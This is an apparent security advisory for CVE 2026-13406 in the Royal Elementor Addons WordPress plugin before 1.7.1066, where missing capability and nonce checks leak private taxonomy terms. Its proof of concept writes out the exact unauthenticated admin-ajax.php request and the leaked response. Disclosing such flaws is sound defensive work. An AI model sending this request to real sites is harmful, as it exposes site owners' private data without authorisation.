Royal Elementor Addons < 1.7.1066 – Unauthenticated Taxonomy Term Disclosure | CVE 2026-13406

Description

The plugin does not perform any capability or nonce check before returning taxonomy term data for an arbitrary, caller-supplied taxonomy, allowing unauthenticated users to disclose the names and IDs of terms belonging to non-public taxonomies.

Proof of Concept

All requests below are sent with no authentication (no cookie, no nonce).

Step 1 - Pick a parent term id pivot
Any published-content term id works as the parent_term pivot. Public category/tag ids are trivially enumerable (front-end markup and the public /wp-json/wp/v2/categories and /wp-json/wp/v2/tags routes); low integer ids can also be guessed. In this example the site has a private taxonomy "wpr_secret_tax" (registered public => false, show_in_rest => false) holding a term named "InternalVIPSegment" assigned to a published post.

Step 2 - Confirm core does NOT expose the private taxonomy
   GET /wp-json/wp/v2/wpr_secret_tax
   -> {"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}

Step 3 - Enumerate the private taxonomy term anonymously through the plugin
   POST /wp-admin/admin-ajax.php
   Content-Type: application/x-www-form-urlencoded

   action=wpr_get_dependent_terms&taxonomy=wpr_secret_tax&parent_term=1
   -> {"success":true,"data":[{"id":2,"name":"InternalVIPSegment"}]}

The id and name of every term of the requested taxonomy that is attached to a published post is returned to the unauthenticated caller, including private (public => false, show_in_rest => false) taxonomies that WordPress core exposes through no archive or REST route. No nonce parameter and no authenticated session are present in any request.